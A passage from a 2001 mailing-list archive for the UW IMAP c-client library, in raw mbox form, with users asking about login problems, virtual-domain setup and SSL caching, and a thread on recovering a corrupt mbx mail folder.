    My autoexec.bat file is:
     
    mode con codepage prepare=3D((850)=20 C:\WINDOWS\COMMAND\ega.cpi)
    mode con codepage select=3D850
    keyb=20 it,,C:\WINDOWS\COMMAND\keyboard.sys
    PATH=20 %PATH;"C:\Programmi\Devstudio\vc\bin\";
    SET = Basemake=3DC:\Programmi\Microsoft=20 SDK\Include\BKOffice.Mak
    SET Bkoffice=3DC:\Programmi\Microsoft = SDK\.
    SET=20 INCLUDE=3DC:\Programmi\Microsoft=20 SDK\Include\.;%INCLUDE%;C:\Programmi\DevStudio\VC\include;
    SET=20 INETSDK=3DC:\Programmi\Microsoft SDK\.
    SET = LIB=3DC:\Programmi\Microsoft=20 SDK\Lib\.;%LIB%;C:\Programmi\DevStudio\VC\lib;
    SET=20 DLL=3DC:\Programmi\DevStudio\SharedIDE\bin;
    SET=20 SHAREDIDE=3DC:\Programmi\DevStudio\SharedIDE\bin;
    SET=20 MSSdk=3DC:\Programmi\Microsoft SDK\.
    SET = Mstools=3DC:\Programmi\Microsoft=20 SDK\.
    SET PATH=3D%PATH%;"C:\Programmi\Microsoft=20 SDK\Bin\.";"C:\Programmi\Microsoft SDK\Bin\win95."
     
    Thanks for help me?
     
    Bye Bye , Papadia=20 Giovanni
    ------=_NextPart_000_000B_01C136CD.CF560040-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 11 08:23:56 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Sep 2001 08:23:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8BFNsi18092 for ; Tue, 11 Sep 2001 08:23:55 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Sep 11 08:23:53 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8BFNpA31407; Tue, 11 Sep 2001 08:23:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f8BFNhp26692; Tue, 11 Sep 2001 08:23:43 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f8BFKL066516 for ; Tue, 11 Sep 2001 08:20:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8BFKL718795 for ; Tue, 11 Sep 2001 08:20:21 -0700 Received: FROM air.cs.bath.ac.uk BY mxu1.u.washington.edu ; Tue Sep 11 08:20:20 2001 -0700 Received: from fire.cs.bath.ac.uk ([138.38.108.1] helo=jwg) by air.cs.bath.ac.uk with smtp (Exim 3.16 #3) id 15gpKk-0006af-00 for c-client@u.washington.edu; Tue, 11 Sep 2001 16:20:18 +0100 Message-Id: <001701c13ad5$73ffbef0$030310ac@cs.bath.ac.uk> Date: Tue, 11 Sep 2001 16:21:38 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jim Grimmett" To: Subject: Just subscribed to the list MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, hopefully I have just subscribed to this list, and it deals with discussion of the WU IMAP server somewhat. We're planning to run it here at the University of Bath, England in our new Computer Science department. At the moment, however, it seems to act oddly when Outlook Express or Eudora clients try to get their mail. Express users seem to spawn a number of processes (owned by them) that interfere with deleting mail, whilst Eudora users can't seem to create directories. If anyone can help, or point me in the direction of someone who can, I'd be very grateful - as I don't want to have to use a pile of capital to solve this problem that could be used elsewhere. Cheers, Jim Grimmett Systems Manager University of Bath, Computer Science Dept. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 17 06:28:52 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Sep 2001 06:28:47 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8HDSki23628 for ; Mon, 17 Sep 2001 06:28:46 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Sep 17 06:28:45 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8HDScA15428; Mon, 17 Sep 2001 06:28:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8HDRMK17924; Mon, 17 Sep 2001 06:27:22 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f8HDO8073060 for ; Mon, 17 Sep 2001 06:24:08 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8HDO3E20441 for ; Mon, 17 Sep 2001 06:24:08 -0700 Received: FROM john.connect.org.uk BY mxu2.u.washington.edu ; Mon Sep 17 06:24:02 2001 -0700 Received: from mmail by john.connect.org.uk with local (connectmail) id 15iyNU-00016N-00 for c-client@u.washington.edu; Mon, 17 Sep 2001 14:24:00 +0100 Message-Id: Date: Mon, 17 Sep 2001 14:24:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jonnie" To: Subject: authentication identity vs. authorization identity X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there something special I need to know / do to get authentication identity vs. authorization identity working with UW-IMAP 2000.287 ? I've tried stuff like tag LOGIN userA*userB userBpassword but I get tag BAD Missing required argument to LOGIN what am I doing wrong? -- Jon Kyme -------------------------------------------------------------------- Get your own FREE local e-mail address at http://www.merseymail.com/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 18 20:19:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Sep 2001 20:19:26 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8J3JPi01355 for ; Tue, 18 Sep 2001 20:19:25 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Sep 18 20:19:25 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8J3JMA25808; Tue, 18 Sep 2001 20:19:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f8J3I3X07786; Tue, 18 Sep 2001 20:18:03 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f8J3F0041782 for ; Tue, 18 Sep 2001 20:15:00 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8J3F0731524 for ; Tue, 18 Sep 2001 20:15:00 -0700 Received: FROM c007.snv.cp.net BY mxu1.u.washington.edu ; Tue Sep 18 20:14:59 2001 -0700 Received: (cpmta 27495 invoked from network); 18 Sep 2001 20:14:56 -0700 Received: from dsl-64-192-195-105.telocity.com (HELO monorailpc) (64.192.195.105) by smtp.telocity.com (209.228.33.217) with SMTP; 18 Sep 2001 20:14:56 -0700 Message-Id: Date: Tue, 18 Sep 2001 23:16:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "John-Andrew M. Minniti" To: Subject: UW IMAP Login Issues (with VIMAP Patch) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Sent: 19 Sep 2001 03:14:56 GMT X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V6.00.2479.0006 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello all, I have recently installed UW IMAP with Mark Crispin's VIMAP patch. I have a question about loging in to the POP/IMAP server. Obviously I know how, but it fails with system users. Basically my problem boils down to this.... I have my main domain and IP address for the server... I also have several virtual domains each with a unique IP address. I want to be able to have them log into a mail server at their domain.. eg. mail.virtual.com. which uses a an "A" record in the zone file to point to their unique IP and an MX record to create the mail server. Anyhow, virtual email users can log into mail.virtual.com. However, the actual users cannot log into mail.virtual.com, only into mail.maindomain.com. A sample Zone file for a domain would be something like.... ;authoritative data for virtualdomain.com @ IN SOA ns.maindomain.com. hostmaster.ns.maindomain.com. ( 2001091800 ;Serial Number: YYYYMMDDxx 80000 ;Refresh time 3600 ;Retry Time 604800 ;Time 86400 ;Minimum TTL ) IN NS ns.maindomain.com. IN NS ns2.maindomain.com. IN MX 10 mail IN A unique.ip.address www IN A unique.ip.address ftp IN A unique.ip.address mail IN A unique.ip.address This should work... shouldn't it? Any help would be greatly appreciated (BTW, I am running RH 6.1) and installed VIMAP from the sourceforge RPM). Also i'm not sure if this is the correct forum, but couldn't find one for only VIMAP and figured I'd give it a try. Thanks -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 19 08:09:58 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Sep 2001 08:09:54 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JF9ri10467 for ; Wed, 19 Sep 2001 08:09:53 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Sep 19 08:09:53 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JF9nW22312; Wed, 19 Sep 2001 08:09:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f8JF9aE17456; Wed, 19 Sep 2001 08:09:36 -0700 Received: from mxu103.u.washington.edu (mxu103.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JF7oN32202 for ; Wed, 19 Sep 2001 08:07:50 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by mxu103.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JF7ov02431 for ; Wed, 19 Sep 2001 08:07:50 -0700 Received: FROM supermarine.crossflight.co.uk BY mxu3.u.washington.edu ; Wed Sep 19 08:07:49 2001 -0700 Received: from mailscan.crossflight.co.uk (mailscan.crossflight.co.uk [195.172.72.201]) by supermarine.crossflight.co.uk (8.11.5/8.9.0) with ESMTP id f8JF7k717894 for ; Wed, 19 Sep 2001 16:07:47 +0100 (GMT/BST) Received: from crossflight.co.uk (unverified) by mailscan.crossflight.co.uk (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 19 Sep 2001 16:07:46 +0100 Message-Id: <3BA8B4B1.A771029E@crossflight.co.uk> Date: Wed, 19 Sep 2001 16:07:29 +0100 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: c-client@u.washington.edu Subject: Recovery options for a corrupt mbx format folder MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, We have a 100MB IMAP mail folder in mbx format which is corrupt. When running icat (or any other c-client program) on it I get the following message ?Unable to parse internal header at 5097016: flight.co.uk The file in question is readable (it can be copied to /dev/null or another file) we just can't read the messages. Is there any way the messages can be dumped to another file and then reloaded into a new mbx file? This is with IMAP 4.7c BTW. Does the latest version have any folder recovery utilities? TIA, Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this mail. ********************************************************************** -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 19 08:23:48 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Sep 2001 08:23:48 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFNki27080 for ; Wed, 19 Sep 2001 08:23:46 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Sep 19 08:23:44 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JFNeA10953; Wed, 19 Sep 2001 08:23:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFNOA20238; Wed, 19 Sep 2001 08:23:24 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JFKZN61462 for ; Wed, 19 Sep 2001 08:20:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFKYE12070 for ; Wed, 19 Sep 2001 08:20:34 -0700 Received: FROM mail1.rrz.Uni-Koeln.DE BY mxu2.u.washington.edu ; Wed Sep 19 08:20:33 2001 -0700 Received: from news.rrz.Uni-Koeln.DE (news.rrz.Uni-Koeln.DE [134.95.100.202]) by mail1.rrz.Uni-Koeln.DE (8.9.3/8.9.3) with ESMTP id RAA08402; Wed, 19 Sep 2001 17:20:30 +0200 (MET DST) Message-Id: <146480000.1000912840@news.rrz.Uni-Koeln.DE> Date: Wed, 19 Sep 2001 17:20:40 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: guy@crossflight.co.uk Cc: c-client@u.washington.edu Subject: Re: Recovery options for a corrupt mbx format folder In-Reply-To: <3BA8B4B1.A771029E@crossflight.co.uk> References: <3BA8B4B1.A771029E@crossflight.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========152515628==========" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========152515628========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Wednesday, September 19, 2001 16:07:29 +0100 Guy Dawson=20 wrote: > When running icat (or any other c-client program) on it I get the > following message > > ?Unable to parse internal header at 5097016: flight.co.uk > > The file in question is readable (it can be copied to /dev/null or = another > file) we just can't read the messages. > > Is there any way the messages can be dumped to another file and then > reloaded into a new mbx file? > > This is with IMAP 4.7c BTW. Does the latest version have any folder > recovery utilities? No, but you can repair it yourself (I'm quoting Mark Crispin): > There currently isn't an mbx format document, but the format is pretty > straightforward. Assuming that the 2K header is OK, each message has a > one line internal header of the form > date,size;flags-uid > where > date date in "dd-mmm-yyyy hh:mm:ss [+-]zzzz" format > size exact size of message in octets > flags message flags as 12 hex digits (32-bit keywords, 16-bit system > flags) uid 32-bit message UID as 8 hex digits > > Then comes the message, using CR/LF style newlines. > > Another internal header or end-of-file is expected exactly bytes > later. If it isn't, that's corruption. So fixing a corrupted mbx file > involves finding the places where an internal header was expected but did > not occur, and then deleting whatever is necessary to make sure that one > occurs at that position. > > c-client will usually indicate the byte position in the file where > corruption has taken place, so an editor such as emacs can be used to fix > things up. You probably won't be able to use vi. Have you used mbx on an NFS volume? That's not supported... Cheers, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ --==========152515628========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.5 (SunOS) Comment: For info see http://www.gnupg.org iD8DBQE7qLfKGXsGmU0QW0URAlbpAKD0GXAQY8rKng2+NkWFNbWD0uR6IQCg6pqB MGK3WRutIOjRWcv+wIIA3u4= =ZpCc -----END PGP SIGNATURE----- --==========152515628==========-- From pinedev@shivax2.cac.washington.edu Wed Sep 19 08:27:32 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Sep 2001 08:27:32 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFRUi20928 for ; Wed, 19 Sep 2001 08:27:31 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Sep 19 08:27:29 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JFRRA11095; Wed, 19 Sep 2001 08:27:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFQdA32174; Wed, 19 Sep 2001 08:26:40 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JFP7N129414 for ; Wed, 19 Sep 2001 08:25:07 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JFP6x07698 for ; Wed, 19 Sep 2001 08:25:07 -0700 Received: FROM supermarine.crossflight.co.uk BY mxu4.u.washington.edu ; Wed Sep 19 08:25:05 2001 -0700 Received: from mailscan.crossflight.co.uk (mailscan.crossflight.co.uk [195.172.72.201]) by supermarine.crossflight.co.uk (8.11.5/8.9.0) with ESMTP id f8JFP3718430 for ; Wed, 19 Sep 2001 16:25:03 +0100 (GMT/BST) Received: from crossflight.co.uk (unverified) by mailscan.crossflight.co.uk (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 19 Sep 2001 16:25:02 +0100 Message-Id: <3BA8B8BE.4DE4BB1B@crossflight.co.uk> Date: Wed, 19 Sep 2001 16:24:46 +0100 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Sebastian Hagedorn Cc: c-client@u.washington.edu Subject: Re: Recovery options for a corrupt mbx format folder References: <3BA8B4B1.A771029E@crossflight.co.uk> <146480000.1000912840@news.rrz.Uni-Koeln.DE> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sebastian Hagedorn wrote: > No, but you can repair it yourself (I'm quoting Mark Crispin): Thanks for the info. IMHO a recovery program would be a really useful addition to the c-client library. > Have you used mbx on an NFS volume? That's not supported... No, it's on a SCSI RAID array. I think I might have to get my programming head on. Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this mail. ********************************************************************** From pinedev@shivax2.cac.washington.edu Wed Sep 19 10:51:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Sep 2001 10:51:24 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JHpJi21521 for ; Wed, 19 Sep 2001 10:51:19 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Wed Sep 19 10:51:17 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JHpFW29516; Wed, 19 Sep 2001 10:51:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JHp0s11030; Wed, 19 Sep 2001 10:51:00 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8JHoCN14236 for ; Wed, 19 Sep 2001 10:50:12 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8JHoC731004 for ; Wed, 19 Sep 2001 10:50:12 -0700 Received: FROM supermarine.crossflight.co.uk BY mxu1.u.washington.edu ; Wed Sep 19 10:50:10 2001 -0700 Received: from mailscan.crossflight.co.uk (mailscan.crossflight.co.uk [195.172.72.201]) by supermarine.crossflight.co.uk (8.11.5/8.9.0) with ESMTP id f8JHo8721748 for ; Wed, 19 Sep 2001 18:50:08 +0100 (GMT/BST) Received: from crossflight.co.uk (unverified) by mailscan.crossflight.co.uk (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 19 Sep 2001 18:50:07 +0100 Message-Id: <3BA8DABE.7836DADC@crossflight.co.uk> Date: Wed, 19 Sep 2001 18:49:50 +0100 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Sebastian Hagedorn , c-client@u.washington.edu Subject: Re: Recovery options for a corrupt mbx format folder References: <3BA8B4B1.A771029E@crossflight.co.uk> <146480000.1000912840@news.rrz.Uni-Koeln.DE> <3BA8B8BE.4DE4BB1B@crossflight.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Guy Dawson wrote: > I think I might have to get my programming head on. I've written a program and have recovered all the messages. One of them appears to have been split in two though! The program uses the regex/regcomp expression matching function on UNIX to go through the mbx format file line by line. Each time it finds a message header of the form 11-Sep-2001 15:31:05 +0100,2476;000000000000-0001c0f1 it outputs a couple of blank lines and then a line in the form >From MAILER-DAEMON Thu Sep 19 06:38:46 2001 followed by the email message. It continues to do this until all of the file has been read. A little editing to remove the odd spurious ^M character and the result is a UNIX format mail file. This can then be converted back into mbx format using mbxcvt. If anyone would like a copy of the program source please email be direct... Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this mail. ********************************************************************** From pinedev@shivax2.cac.washington.edu Fri Sep 21 08:12:41 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Sep 2001 08:12:37 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8LFCai14541 for ; Fri, 21 Sep 2001 08:12:36 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Sep 21 08:12:35 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8LFCTA06938; Fri, 21 Sep 2001 08:12:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8LFBTr23420; Fri, 21 Sep 2001 08:11:29 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f8LF8mN30528 for ; Fri, 21 Sep 2001 08:08:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8LF8ix11350 for ; Fri, 21 Sep 2001 08:08:48 -0700 Received: FROM arthur.runestig.com BY mxu4.u.washington.edu ; Fri Sep 21 08:08:43 2001 -0700 Received: from bollperuig (fw.kldata.cc [195.67.47.227]) by arthur.runestig.com (8.9.3/8.9.3) with ESMTP id RAA26948 for ; Fri, 21 Sep 2001 17:08:41 +0200 Message-Id: <200109211508.RAA26948@arthur.runestig.com> Date: Fri, 21 Sep 2001 17:07:11 +0200 (W. Europe Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter 'Luna' Runestig" To: c-client@u.washington.edu Subject: Q: SSL session caching? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, Are there any plans to implement some kind of SSL/TLS session caching? It would be a great performance boost for MUA's that makes multiple imap connections. Cheers, Peter ---------------------------------------------------------------- Peter 'Luna' Runestig (fd. Altberg), Sweden PGP Key ID: 0xD07BBE13 Fingerprint: 7B5C 1F48 2997 C061 DE4B 42EA CB99 A35C D07B BE13 AOL Instant Messenger Screenname: PRunestig -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Sep 22 12:34:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 22 Sep 2001 12:34:57 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f8MJYui00245 for ; Sat, 22 Sep 2001 12:34:56 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Sat Sep 22 12:34:52 2001 -0700 Received: from 